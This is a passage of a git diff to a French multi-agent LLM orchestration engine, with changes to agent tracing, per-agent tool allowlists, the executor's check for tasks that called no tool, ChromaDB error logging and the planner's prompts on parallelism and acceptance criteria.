diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7ab67cc..eb025e7 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -56,7 +56,7 @@ jobs: - uses: actions/checkout@v7 - uses: actions/setup-python@v7 with: - python-version: "3.11" + python-version: "3.12" cache: pip - name: Installer les dépendances run: | diff --git a/agents/antigravity_agent.py b/agents/antigravity_agent.py index d0f52e4..ac6d12f 100644 --- a/agents/antigravity_agent.py +++ b/agents/antigravity_agent.py @@ -14,12 +14,12 @@ (comme HACommandAgent) """ -import os import logging +import os from agents.executor import ExecutorAgent -from core.state import TaskPayload, StateUpdate from core.llm_gateway import LLMGateway +from core.state import StateUpdate, TaskPayload from tools.tool_registry import ToolRegistry logger = logging.getLogger(__name__) @@ -41,7 +41,7 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry = None, # Si pas de registry fourni, on en crée un vide (mode dégradé sans outils) if tool_registry is None: tool_registry = ToolRegistry() - + super().__init__( llm_gateway=llm_gateway, tool_registry=tool_registry, @@ -50,9 +50,9 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry = None, ) # Override du nom et du system prompt hérité d'ExecutorAgent self.name = "antigravity_agent" - - import sys + import os + import sys is_windows = (sys.platform == 'win32' or os.name == 'nt') if is_windows: os_rule = "5. COMPATIBILITÉ WINDOWS : N'utilise jamais de commandes Unix (ls, grep, cat) via le terminal. Utilise à la place les outils de manipulation de fichiers de Python ('read_file', 'write_file') ou des commandes Windows natives." @@ -84,7 +84,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # Chargement conditionnel des directives LVGL Premium objective_lower = payload.task_objective.lower() lvgl_keywords = ["lvgl", "ecran", "écran", "ui", "design", "layout", "widget", "dashboard"] - + if any(kw in objective_lower for kw in lvgl_keywords): lvgl_context = self._load_lvgl_templates() if lvgl_context: @@ -105,7 +105,7 @@ def _load_lvgl_templates(self) -> str: project_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) templates_path = os.path.join(project_root, "docs", "LVGL_PREMIUM_TEMPLATES.md") if os.path.exists(templates_path): - with open(templates_path, "r", encoding="utf-8") as f: + with open(templates_path, encoding="utf-8") as f: return "\n--- DIRECTIVES DESIGN LVGL PREMIUM ---\n" + f.read() except Exception as le: logger.warning(f"Impossible de charger les templates LVGL : {le}") diff --git a/agents/base_agent.py b/agents/base_agent.py index caf8249..ff57500 100644 --- a/agents/base_agent.py +++ b/agents/base_agent.py @@ -1,19 +1,64 @@ +""" +agents/base_agent.py — Interface abstraite commune à tous les agents du moteur. + +Un seul contrat : `invoke(payload: TaskPayload) -> StateUpdate`. Tous les agents +métier (executor, planner, reviewer, ha_agent, dreamer, antigravity, tool_maker, +prompt_engineer) en héritent directement ou via `ExecutorAgent`. + +[#T296] Chaque `invoke()` est automatiquement encadré par la pose du nom de +l'agent dans une ContextVar (`core/agent_trace.py`), lue plus bas par +`token_tracker.record_usage()` pour renseigner `token_usage.agent_name`. +L'enveloppe est posée ici, sur la classe de base, plutôt que sur les quinze +call-sites de `.invoke()` répartis dans `dag_runner`, `swarm_dispatcher`, +`engine`, `healing` et `review_loop` : un agent qui oublierait de le faire +redeviendrait invisible dans la comptabilité, et c'est exactement le défaut +qu'on corrige. +""" +import functools from abc import ABC, abstractmethod -from core.state import TaskPayload, StateUpdate + +from core.agent_trace import poser_agent_courant, restaurer_agent_courant +from core.state import StateUpdate, TaskPayload + class BaseAgent(ABC): """ Classe abstraite fondamentale (Single Responsibility Principle). Définit l'interface standard pour tous les agents du moteur. """ - + def __init__(self, name: str, system_prompt: str): """ Initialise l'agent avec son nom unique et son prompt système (règles métier). """ self.name = name self.system_prompt = system_prompt - + + def __init_subclass__(cls, **kwargs): + """ + [#T296] Enveloppe l'`invoke()` de chaque sous-classe pour tracer l'agent courant. + + Seules les classes qui définissent leur PROPRE `invoke` sont enveloppées : + une sous-classe qui hérite de celui de son parent (cas des agents dérivés + d'`ExecutorAgent`) réutilise l'enveloppe déjà posée, sans double pose. + """ + super().__init_subclass__(**kwargs) + + fonction = cls.__dict__.get("invoke") + if fonction is None or getattr(fonction, "_trace_agent_posee", False): + return + + @functools.wraps(fonction) + async def invoke_trace(self, payload, *args, **kwargs_appel): + jeton = poser_agent_courant(getattr(self, "name", cls.__name__)) + try: + return await fonction(self, payload, *args, **kwargs_appel) + finally: + restaurer_agent_courant(jeton) + + invoke_trace._trace_agent_posee = True + cls.invoke = invoke_trace + @abstractmethod async def invoke(self, payload: TaskPayload) -> StateUpdate: """ diff --git a/agents/dreamer_agent.py b/agents/dreamer_agent.py index 2056c3e..596b905 100644 --- a/agents/dreamer_agent.py +++ b/agents/dreamer_agent.py @@ -616,7 +616,9 @@ async def _process_one_dreamcoder_task(task: dict, pa_config: dict, provider: st ) router = _get_app_state().get_shared_router() - initial_payload, starting_agent = await router.analyze_request(task["description"]) + initial_payload, starting_agent = await router.analyze_request( + task["description"], session_id=str(task_id) + ) async def sse_callback(event_type, data, engine_inst): pass @@ -974,9 +976,14 @@ async def run_dreamer_cycle(pa_config: dict) -> dict[str, Any]: f"{ep_res.get('migrated', 0)} épisodes + " f"{fact_res.get('migrated', 0)} faits migrés" ) + except ImportError: + logger.info("[DREAMER] [Etape 2.8] chromadb non installé — migration ignorée (non bloquant)") + report["actions"]["chroma_migration"] = {"skipped": True, "reason": "chromadb_absent"} except Exception as _che: - logger.info(f"[DREAMER] [Etape 2.8] ChromaDB non disponible (non bloquant) : {_che}") - report["actions"]["chroma_migration"] = {"skipped": True} + # #T252 : ne plus masquer une vraie erreur de migration sous un faux + # « ChromaDB non disponible » — on nomme la cause réelle. + logger.warning(f"[DREAMER] [Etape 2.8] Erreur de migration ChromaDB (non bloquant) : {_che}") + report["actions"]["chroma_migration"] = {"skipped": True, "error": str(_che)} # 2.9. Push du rapport d'anomalies vers le Tab5 M5Stack logger.info("[DREAMER] [Etape 2.9] Push du rapport d'anomalies vers le Tab5 M5Stack...") diff --git a/agents/executor.py b/agents/executor.py index 9ca610a..8dedfdd 100644 --- a/agents/executor.py +++ b/agents/executor.py @@ -1,15 +1,39 @@ -import json +""" +agents/executor.py — Agent d'exécution générique (boucle ReAct). + +Exécute des actions techniques via les outils du ToolRegistry, avec mode +Sandbox (dry_run) pour les outils destructeurs, retries à backoff exponentiel +(MAX_TOOL_RETRIES=2), et un micro-cycle de revue locale avant de remonter au +DAG. Classe de base héritée par `HACommandAgent` et `AntigravityAgent` +(core/mcp_tools). +""" import asyncio -from core.state import TaskPayload, StateUpdate +import json +import logging +import unicodedata + from agents.base_agent import BaseAgent -from core.llm_gateway import LLMGateway -from tools.tool_registry import ToolRegistry from core.errors import classify_error +from core.llm_gateway import LLMGateway +from core.state import StateUpdate, TaskPayload from tools.sanitizer import OutputSanitizer -import logging +from tools.tool_registry import ToolRegistry logger = logging.getLogger(__name__) + +def _sans_accents(texte: str) -> str: + """ + [#T274] Normalise les accents pour la comparaison de verbes. + + Les objectifs de tâches arrivent tantôt accentués (« vérifier »), tantôt non + (plan généré par un modèle, transcription vocale). Comparer sans accent évite + qu'un contrôle de sécurité se comporte différemment selon l'orthographe. + """ + decompose = unicodedata.normalize("NFD", texte) + return "".join(c for c in decompose if unicodedata.category(c) != "Mn") + + # Nombre maximum de retries internes avant de remonter au DAG/Self-Healing MAX_TOOL_RETRIES = 2 # Délai de base entre les retries (secondes) @@ -20,9 +44,9 @@ class ExecutorAgent(BaseAgent): Agent autonome chargé d'exécuter des actions techniques en utilisant les outils enregistrés. Supporte le mode Sandbox (dry_run) pour les outils destructeurs . """ - def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provider_name: str = "deepseek", sandbox_mode: bool = False): - import sys + def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provider_name: str = "deepseek", sandbox_mode: bool = False, allowed_tools: list[str] | None = None): import os + import sys is_windows = (sys.platform == 'win32' or os.name == 'nt') if is_windows: os_rules = """2. COMPATIBILITÉ WINDOWS : La machine hôte tourne sous Windows. N'utilise jamais de commandes terminal Unix comme 'ls', 'grep' ou 'cat' via 'run_terminal_command'. Utilise à la place les outils de manipulation de fichier de Python ('read_file', 'write_file') ou des commandes Windows natives ('dir', 'findstr', 'type'). @@ -41,7 +65,8 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provide CONSIGNES DE SÉCURITÉ ET DE COMPATIBILITÉ CRITIQUES : 1. PRIVILÉGIE LES OUTILS MCP : Si des outils MCP (commençant par 'mcp_') sont enregistrés et correspondent à ta tâche (par exemple pour Home Assistant ou SQLite), tu DOIS les utiliser en priorité absolue plutôt que de lancer des commandes shell ou de développer des scripts personnalisés. {os_rules} -5. SOIS PÉDAGOGUE : Explique brièvement en français les opérations effectuées.""" +5. SOIS PÉDAGOGUE : Explique brièvement en français les opérations effectuées. +6. VÉRIFICATION OBLIGATOIRE : Après toute modification d'un fichier .py via 'write_file', appelle 'run_tests' sur le fichier de test correspondant (ou 'tests/' si aucun fichier ciblé n'est identifiable) AVANT de conclure. Si les tests échouent, corrige et relance-les avant de terminer la tâche.""" super().__init__( name="executor", @@ -51,10 +76,16 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provide self.tool_registry = tool_registry self.provider_name = provider_name self.sandbox_mode = sandbox_mode - + + # [#T233] Liste des outils autorisés (absent/None = tous les outils, + # [] = aucun). Déclarée dans config.json (custom_agents) ou + # agents_workflows.json ; synchronisée dans le registre partagé à + # chaque invoke (les agents custom changent de nom après construction). + self.allowed_tools = allowed_tools + # Sanitizer de sorties d'outils (masquage des secrets) self._sanitizer = OutputSanitizer() - + # Encapsulation sandbox si le mode dry_run est actif self._sandbox = None if sandbox_mode: @@ -62,8 +93,84 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provide self._sandbox = SandboxWrapper(tool_registry, dry_run=True) self.tool_registry = self._sandbox logger.info(f"[{self.name}] Mode Sandbox activé : les outils destructeurs généreront des diffs preview.") - + + # ────────────────────────────────────────────────────────────────── + # [#T274] « Aucun outil appelé » : quand est-ce vraiment une faute ? + # ────────────────────────────────────────────────────────────────── + # Une MUTATION ne peut pas se faire sans outil : si l'agent prétend avoir + # écrit un fichier sans jamais appeler `write_file`, il ment, et le contrôle + # doit échouer. C'est sa raison d'être. + _VERBES_MUTATION = ( + "cree", "creer", "ecris", "ecrire", "ecrit", "modifie", "modifier", + "supprime", "supprimer", "efface", "effacer", "renomme", "renommer", + "deplace", "deplacer", "ajoute", "ajouter", "remplace", "remplacer", + "installe", "installer", "deploie", "deployer", "execute", "executer", + "lance", "lancer", "commit", "push", + "create", "write", "modify", "delete", "remove", "rename", "move", + "append", "install", "deploy", "run ", "execute", + ) + # Une LECTURE ou une VÉRIFICATION, elle, peut légitimement se conclure sans + # outil : si la donnée est déjà dans le contexte (résultat d'une tâche + # amont), la relire serait un appel inutile — et le prompt système DEMANDE + # explicitement de ne pas le faire (« Utilise DIRECTEMENT ces contenus du + # contexte […] Ne fais aucun appel à 'read_file' dans ce cas »). + _VERBES_LECTURE = ( + "lis", "lire", "relis", "relire", "verifie", "verifier", "valide", + "valider", "confirme", "confirmer", "controle", "controler", + "compare", "comparer", "analyse", "analyser", "resume", "resumer", + "read", "verify", "check", "validate", "confirm", "compare", "analyze", + ) + # En dessous de ce volume, le « contexte » ne porte aucune donnée + # exploitable (chaîne vide, « None », un mot isolé) : l'agent doit alors + # aller chercher l'information au lieu de l'inventer. + _CONTEXTE_MINIMAL = 20 + + @classmethod + def exige_un_appel_d_outil(cls, task_objective: str, relevant_context: str | None) -> bool: + """ + [#T274] Décide si l'absence d'appel d'outil doit faire échouer la tâche. + + L'ancienne règle listait aussi des SUBSTANTIFS (« fichier », « file », + « dossier », « git ») : toute tâche mentionnant un fichier exigeait donc + un appel d'outil, y compris une simple vérification. Mesuré en production + le 11/08 : sur un plan dont l'écriture ET la relecture avaient réussi, la + tâche `verify_preuve` a échoué sur ce contrôle alors qu'elle avait la + donnée sous les yeux — et comme `_finalize_git` exige que TOUTES les + tâches soient en succès, le travail réussi a été annulé (rollback). + + Le contrôle punissait exactement le comportement que le prompt système + réclame. Deux règles opposées dans le même agent. + """ + objectif = _sans_accents((task_objective or "").lower()) + contexte = (relevant_context or "").strip() + outil_requis_faute_de_contexte = len(contexte) < cls._CONTEXTE_MINIMAL + + # 1. Le VERBE DE TÊTE l'emporte. « Vérifier que le fichier a bien été + # créé » est une vérification, pas une création : sans cette règle, le + # « créé » de la subordonnée la ferait classer en mutation et on + # reproduirait exactement le bug qu'on corrige. + tete = " ".join(objectif.split()[:4]) + if any(v in tete for v in cls._VERBES_LECTURE): + return outil_requis_faute_de_contexte + + # 2. Mutation : un outil est indispensable, sans exception. + if any(v in objectif for v in cls._VERBES_MUTATION): + return True + + # 3. Lecture / vérification mentionnée plus loin dans la phrase. + if any(v in objectif for v in cls._VERBES_LECTURE): + return outil_requis_faute_de_contexte + + # 4. Ni mutation ni lecture explicite : on n'exige rien (inchangé). + return False + async def invoke(self, payload: TaskPayload) -> StateUpdate: + # [#T233] Synchronisation des permissions d'outils de l'agent : le + # registre est partagé, la restriction (ou son absence) se re-déclare à + # chaque invoke car un agent custom peut changer de nom APRÈS + # construction (cf. core/custom_agents.py, core/factory.py). + self.tool_registry.set_agent_allowed_tools(self.name, self.allowed_tools) + # [Raccourci Déterministe V5.1 - Zero-LLM Latency] direct_call = payload.metadata.get("direct_tool_call") if direct_call: @@ -71,9 +178,9 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: kwargs = direct_call.get("arguments", {}) logger.info(f"[{self.name}] Court-circuit déterministe détecté : exécution directe de '{func_name}' sans LLM.") try: - res = await self.tool_registry.execute(func_name, kwargs) + res = await self.tool_registry.execute(func_name, kwargs, agent_name=self.name) logger.info(f"[{self.name}] Résultat court-circuit direct : {res}") - + # Détecter une erreur de l'outil pour propager au Self-Healing if isinstance(res, str) and (res.startswith("Erreur") or res.lower().startswith("erreur")): return StateUpdate( @@ -103,28 +210,28 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: from core.llm_gateway import load_config config = load_config() tier = payload.metadata.get("model_tier", self.provider_name) - + resolved_model_name, provider = self.gateway.get_provider_for_tier(tier, config) logger.info(f"[{self.name}] Résolution du modèle pour le Tier '{tier}' : {resolved_model_name}") - + user_prompt = f"Objectif : {payload.task_objective}\nContexte pertinent : {payload.relevant_context}" - tools_schemas = self.tool_registry.get_all_schemas(payload.task_objective) - + tools_schemas = self.tool_registry.get_all_schemas(payload.task_objective, agent_name=self.name) + logger.info(f"[{self.name}] Analyse de la requête et décision...") logger.info(f"[{self.name}] System Prompt: {self.system_prompt}") logger.info(f"[{self.name}] User Prompt: {user_prompt}") - + session_id = payload.metadata.get("session_id") - + # Initialisation de l'historique des messages pour la boucle ReAct multi-turn messages = [ {"role": "system", "content": self.system_prompt}, {"role": "user", "content": user_prompt} ] - + max_turns = payload.metadata.get("max_turns", 10) use_search_grounding = payload.metadata.get("use_search_grounding", False) - + # Lancement de la boucle ReAct initiale last_results, final_text_response, tool_executed, last_tool_error = await self._execute_react_loop( messages=messages, @@ -136,15 +243,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: use_search_grounding=use_search_grounding, is_correction=False ) - + # Validation de sécurité : si aucun outil n'a été exécuté sur l'ensemble des tours # et que la tâche requiert une action, on lève une erreur. if not tool_executed: - tool_keywords = ["créer", "écrire", "lire", "modifier", "supprimer", "exécuter", "run", "write", "read", "create", "delete", "execute", "call", "git", "file", "fichier", "dossier", "directory", "folder"] - objective_lower = payload.task_objective.lower() - needs_tool = any(kw in objective_lower for kw in tool_keywords) - - if needs_tool: + if self.exige_un_appel_d_outil(payload.task_objective, payload.relevant_context): logger.warning(f"[{self.name}] Aucun outil n'a été exécuté pour une tâche requérant une action. Retour d'une erreur.") return StateUpdate( agent_name=self.name, @@ -153,7 +256,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: next_agent="END", error_message="L'agent exécuteur n'a appelé aucun outil pour réaliser cette tâche. La réponse textuelle était : " + (final_text_response or "") ) - + # Si un outil a échoué en dernier et n'a pas été corrigé if last_tool_error: logger.error(f"[{self.name}] Échec final de la tâche après auto-correction locale infructueuse. Dernière erreur : {last_tool_error}") @@ -167,21 +270,21 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # Micro-cycle de revue locale ReAct-Review (Phase 4) is_healing_or_correction = ( - payload.metadata.get("is_healing", False) - or payload.metadata.get("is_review_correction", False) + payload.metadata.get("is_healing", False) + or payload.metadata.get("is_review_correction", False) or payload.metadata.get("is_local_review_correction", False) ) - + max_local_review_rounds = 2 local_round = 1 - + while tool_executed and self.name != "ha_agent" and not last_tool_error and not is_healing_or_correction and local_round <= max_local_review_rounds: logger.info(f"[{self.name}] [LOCAL-REVIEW] Démarrage du round de revue locale {local_round}/{max_local_review_rounds}...") - + # Instanciation locale du ReviewerAgent from agents.reviewer import ReviewerAgent reviewer = ReviewerAgent(llm_gateway=self.gateway, provider_name="moyen") - + review_payload = TaskPayload( task_objective=payload.task_objective, relevant_context=( @@ -193,9 +296,9 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: "model_tier": "moyen" } ) - + review_update = await reviewer.invoke(review_payload) - + if review_update.status == "success": logger.info(f"[{self.name}] [LOCAL-REVIEW] ✅ Verdict : Code validé et approuvé localement au round {local_round}.") local_review_feedback = review_update.result_data @@ -204,7 +307,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: severity = review_update.metadata.get("severity", "major") feedback = review_update.error_message or review_update.result_data logger.warning(f"[{self.name}] [LOCAL-REVIEW] ❌ Verdict : Code REJETÉ localement (round {local_round}, sévérité: {severity}).") - + if local_round >= max_local_review_rounds: logger.error(f"[{self.name}] [LOCAL-REVIEW] Nombre maximum de rounds de revue locale atteint. Échec.") return StateUpdate( @@ -214,11 +317,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: next_agent="END", error_message=f"Le code a été rejeté par la revue locale au round {local_round} : {feedback}" ) - + # Relancer la boucle ReAct pour corriger localement logger.info(f"[{self.name}] [LOCAL-REVIEW] Relancement de la boucle ReAct pour appliquer les corrections demandées...") local_round += 1 - + messages.append({ "role": "user", "content": ( @@ -228,7 +331,7 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: f"puis termine pour soumettre les corrections." ) }) - + # Relancer la boucle corrective unique last_results_corr, final_text_response_corr, tool_executed_corr, last_tool_error = await self._execute_react_loop( messages=messages, @@ -240,13 +343,13 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: use_search_grounding=use_search_grounding, is_correction=True ) - + if last_results_corr: last_results.extend(last_results_corr) elif final_text_response_corr: last_results.append(final_text_response_corr) final_text_response = final_text_response_corr - + if last_tool_error: logger.error(f"[{self.name}] [LOCAL-REVIEW-CORRECTION] Échec de la boucle corrective suite à erreur d'outil : {last_tool_error}") break @@ -254,18 +357,18 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: # Si des outils ont été exécutés, on retourne les résultats des outils combinés # Sinon on retourne la réponse texte finale. result_data = "\n".join(last_results) if last_results else final_text_response - + # Ajout des informations sandbox au résultat si actif sandbox_info = {} if self._sandbox: sandbox_info = self._sandbox.get_pending_summary() if sandbox_info.get("pending_writes", 0) > 0: result_data += f"\n\n[SANDBOX] {sandbox_info['pending_writes']} écriture(s) en attente de validation." - + metadata = {"sandbox": sandbox_info} if sandbox_info else {} if 'local_review_feedback' in locals() and local_review_feedback: metadata["local_review"] = local_review_feedback - + return StateUpdate( agent_name=self.name, status="success", @@ -296,7 +399,7 @@ async def _execute_react_loop( for turn in range(max_turns): logger.info(f"[{self.name}]{prefix} Lancement du tour {turn + 1}/{max_turns} de la boucle ReAct...") - + response = await provider.generate_async( system_prompt=self.system_prompt, user_prompt=user_prompt, @@ -304,8 +407,12 @@ async def _execute_react_loop( session_id=session_id, messages=messages, use_search_grounding=use_search_grounding, + # [T287] L'Executor écrit du code : il reçoit les conventions du + # projet (CLAUDE.md). Elles ne partent plus sur les chemins chat + # et vocal, qui n'en ont pas l'usage et les payaient en tokens. + conventions_projet=True, ) - + # Étape 1 : Le LLM a-t-il décidé d'appeler un outil via l'API native (tool_calls) ? if isinstance(response, dict) and "tool_calls" in response and response["tool_calls"]: tool_calls = response["tool_calls"] @@ -315,7 +422,7 @@ async def _execute_react_loop( "tool_calls": tool_calls } messages.append(assistant_message) - + turn_results = [] for tool_call in tool_calls: func_name = tool_call["function"]["name"] @@ -326,20 +433,20 @@ async def _execute_react_loop( except Exception as e: res = f"Erreur de décodage des arguments JSON : {e}" kwargs = {} - + logger.info(f"[{self.name}]{prefix} Appel d'outil détecté : {func_name}") - + res = await self._execute_tool_with_retry(func_name, kwargs) tool_executed = True - + res_str = str(res) res_str = self._sanitizer.sanitize(res_str, source=f"tool:{func_name}") - + if isinstance(res, str) and (res.startswith("Erreur") or res.lower().startswith("erreur")): agent_error = classify_error(res, source=f"tool:{func_name}") logger.warning(f"[{self.name}]{prefix} Erreur d'outil détectée ({agent_error.category.value}) de {func_name}: {res}. Tentative d'auto-correction locale...") last_tool_error = f"Erreur dans l'outil '{func_name}' : {res_str}" - + tool_message = { "role": "tool", "tool_call_id": tool_call_id, @@ -350,7 +457,7 @@ async def _execute_react_loop( else: last_tool_error = None turn_results.append(f"Résultat '{func_name}' : {res_str}") - + tool_message = { "role": "tool", "tool_call_id": tool_call_id, @@ -358,25 +465,25 @@ async def _execute_react_loop( "content": res_str } messages.append(tool_message) - + last_results.extend(turn_results) continue - + # Étape 2 : Fallback JSON text_response = "" if isinstance(response, str): text_response = response elif isinstance(response, dict) and "content" in response: text_response = response.get("content") or "" - + json_blocks = [] if text_response: import re json_blocks = re.findall(r"```json\s*(.*?)\s*```", text_response, re.DOTALL) - + if json_blocks: messages.append({"role": "assistant", "content": text_response}) - + turn_results = [] for block in json_blocks: try: @@ -384,7 +491,7 @@ async def _execute_react_loop( if isinstance(tool_call_data, dict) and "action" in tool_call_data: func_name = tool_call_data["action"] kwargs = tool_call_data.get("params", {}) - + if func_name == "write_file": if "file_path" in kwargs and "filepath" not in kwargs: kwargs["filepath"] = kwargs.pop("file_path") @@ -393,21 +500,21 @@ async def _execute_react_loop( elif func_name == "read_file": if "file_path" in kwargs and "filepath" not in kwargs: kwargs["filepath"] = kwargs.pop("file_path") - + logger.info(f"[{self.name}]{prefix} Appel d'outil extrait du texte (fallback JSON) : {func_name}") res = await self._execute_tool_with_retry(func_name, kwargs) tool_executed = True - + res_str = str(res) res_str = self._sanitizer.sanitize(res_str, source=f"tool:{func_name}") - + if isinstance(res, str) and (res.startswith("Erreur") or res.lower().startswith("erreur")): agent_error = classify_error(res, source=f"tool:{func_name}") logger.warning(f"[{self.name}]{prefix} Erreur d'outil détectée ({agent_error.category.value}) de {func_name} (fallback JSON): {res}. Tentative d'auto-correction locale...") last_tool_error = f"Erreur dans l'outil '{func_name}' : {res_str}" - + messages.append({ - "role": "user", + "role": "user", "content": f"Erreur lors de l'exécution de '{func_name}' : {res_str}. Corrige cette erreur et réessaie." }) else: @@ -416,11 +523,11 @@ async def _execute_react_loop( messages.append({"role": "user", "content": f"Résultat '{func_name}' : {res_str}"}) except Exception as e: logger.warning(f"Échec de l'analyse du bloc JSON extrait : {e}") - + if turn_results: last_results.extend(turn_results) continue - + # Étape 3 : Réponse finale final_text_response = text_response break @@ -446,15 +553,15 @@ async def _execute_tool_with_retry( Le résultat de l'outil (string) """ last_error = None - + for attempt in range(1, max_retries + 1): try: - res = await self.tool_registry.execute(func_name, kwargs) - + res = await self.tool_registry.execute(func_name, kwargs, agent_name=self.name) + # Vérifier si le résultat est une erreur retriable if isinstance(res, str) and (res.startswith("Erreur") or res.lower().startswith("erreur")): agent_error = classify_error(res, source=f"tool:{func_name}") - + if agent_error.is_retriable and attempt < max_retries: delay = BASE_RETRY_DELAY * (2 ** (attempt - 1)) # Backoff exponentiel logger.warning( @@ -468,13 +575,13 @@ async def _execute_tool_with_retry( else: # Erreur non-retriable ou retries épuisés return res - + # Succès — retourner le résultat return res - + except Exception as e: agent_error = classify_error(str(e), source=f"tool:{func_name}") - + if agent_error.is_retriable and attempt < max_retries: delay = BASE_RETRY_DELAY * (2 ** (attempt - 1)) logger.warning( @@ -487,6 +594,6 @@ async def _execute_tool_with_retry( continue else: raise # Remonter l'exception non-retriable - + # Retries épuisés — retourner la dernière erreur return last_error or f"Erreur : retries épuisés pour '{func_name}'" diff --git a/agents/ha_agent.py b/agents/ha_agent.py index 95d09b8..e14c496 100644 --- a/agents/ha_agent.py +++ b/agents/ha_agent.py @@ -1,4 +1,12 @@ +""" +agents/ha_agent.py — Agent domotique (Home Assistant), hérite d'ExecutorAgent. + +Optimisé pour les commandes HA simples : exécute l'outil MCP HA puis répond +en une seule phrase courte (l'utilisateur parle souvent par la voix depuis +une dalle tactile, pas besoin d'explications techniques). +""" import logging + from agents.executor import ExecutorAgent from core.llm_gateway import LLMGateway from tools.tool_registry import ToolRegistry @@ -36,5 +44,5 @@ def __init__(self, llm_gateway: LLMGateway, tool_registry: ToolRegistry, provide 3. C'est tout. Pas d'explication supplémentaire. Pour les tâches SQL complexes uniquement, tu peux être plus détaillé.""" - + logger.info("HACommandAgent initialisé avec succès.") diff --git a/agents/planner.py b/agents/planner.py index 108c722..b246ec9 100644 --- a/agents/planner.py +++ b/agents/planner.py @@ -1,10 +1,20 @@ -import logging -import json +""" +agents/planner.py — Agent "Cerveau" : décompose une requête en DAG JSON. + +Génère un plan d'action structuré en stages parallélisables (`stage_id`), +consommé ensuite par `core/dag_runner.py`. Tier fort par défaut +(deepseek-reasoner), timeout 90s. Enrichi dynamiquement via WorkflowBridge +(liste des agents disponibles, y compris les agents custom). +""" import asyncio +import json +import logging import time -from core.state import TaskPayload, StateUpdate + from agents.base_agent import BaseAgent +from core.fenetres_execution import duree_planner_s from core.llm_gateway import LLMGateway +from core.state import StateUpdate, TaskPayload from core.workflow_bridge import WorkflowBridge logger = logging.getLogger(__name__) @@ -30,14 +40,14 @@ def __init__(self, llm_gateway: LLMGateway, provider_name: str = "deepseek-reaso ) self.gateway = llm_gateway self.provider_name = provider_name - + async def invoke(self, payload: TaskPayload) -> StateUpdate: # Importation dynamique de la configuration LLM from core.llm_gateway import load_config config = load_config() session_id = payload.metadata.get("session_id") is_healing = payload.metadata.get("is_healing", False) - + # Détermination du fournisseur de modèle approprié if self.provider_name in ["leger", "moyen", "fort", "automatique"]: _, provider = self.gateway.get_provider_for_tier(self.provider_name, config) @@ -46,9 +56,9 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: provider = self.gateway.get_provider(self.provider_name) except ValueError: _, provider = self.gateway.get_provider_for_tier("fort", config) - - import sys + import os + import sys is_windows = (sys.platform == 'win32' or os.name == 'nt') if is_windows: sec_rule = "- Interdiction absolue de modifier des fichiers en dehors du workspace (comme C:\\Windows ou C:\\Windows\\System32)." @@ -74,7 +84,11 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: f"{cmd_rule_healing}" ) else: - system_prompt = ( + # [#T188] Prompt standard externalisé en Markdown (planner.md) : le + # placeholder {{CMD_RULE}} y est remplacé par la règle plateforme + # (Windows/Linux). La chaîne ci-dessous reste le repli si absent. + from core.prompt_loader import load_agent_prompt + default_standard_prompt = ( "Tu es le PlannerAgent, l'architecte du tab5-engine.\n" "Ton rôle est de décomposer la demande de l'utilisateur en un plan d'action structuré en lots (stages) " "pouvant s'exécuter en parallèle ou séquentiellement.\n" @@ -96,15 +110,36 @@ async def invoke(self, payload: TaskPayload) -> StateUpdate: "Pour chaque tâche, tu définis un 'stage_id' (entier commençant à 1).\n" "Les tâches ayant le même 'stage_id' s'exécutent EN PARALLÈLE et ne doivent pas dépendre les unes des autres.\n" "Les tâches dépendantes doivent être planifiées dans des stages successifs (ex: Stage 1 pour lire, Stage 2 pour analyser/modifier, Stage 3 pour tester).\n" + "DIRECTIVE DE PARALLÉLISATION (#T245) — PENSE EN ÉVENTAIL :\n" + "Dès que le travail est divisible (plusieurs fichiers à lire ou modifier, plusieurs entités à interroger, " + "plusieurs pistes à explorer), tu DOIS émettre ces sous-tâches indépendantes dans un MÊME stage plutôt " + "qu'une seule grosse tâche séquentielle : jusqu'à 8 s'exécutent réellement en parallèle.\n" + "Ces sous-tâches parallèles sont du travail large et jetable : donne-leur 'model_tier': 'leger'.\n" + "Fais-les converger vers UNE tâche finale d'agrégation, seule dans son stage, qui dépend de toutes " + "(c'est elle qui synthétise, arbitre et vérifie) : donne-lui 'model_tier': 'fort'.\n" + "N'invente pas de parallélisme artificiel — si la demande est réellement séquentielle, un plan linéaire reste correct.\n" + "CONTRAT D'ACCEPTATION (#T253) — DIS COMMENT ON SAURA QUE C'EST FINI :\n" + "En plus du plan, renseigne 'criteres_acceptation' : la liste des vérifications MÉCANIQUES qui prouveront " + "que l'objectif est atteint. Elles seront exécutées telles quelles, sans qu'aucun modèle ne juge.\n" + "Trois types : 'commande' (la commande sort en code 0 — uniquement des commandes de VÉRIFICATION : " + "pytest, python -m py_compile, ruff check, esphome config, npm run, tsc, node --check), " + "'fichier_contient' ('valeur' = chemin, 'attendu' = texte ou expression régulière qui doit s'y trouver), " + "'fichier_existe' ('valeur' = chemin).\n" + "Sois concret et minimal : 2 à 4 critères qui échouent AVANT le travail et réussissent APRÈS. " + "Un critère toujours vrai ne sert à rien. Si l'objectif n'est pas vérifiable mécaniquement " + "(question, analyse, discussion), renvoie une liste vide plutôt que d'inventer.\n" "Tous les codes créés ou modifiés par les agents exécutants devront être commentés en français (règle utilisateur).\n\n" "DIRECTIVES SUR LES OUTILS ET 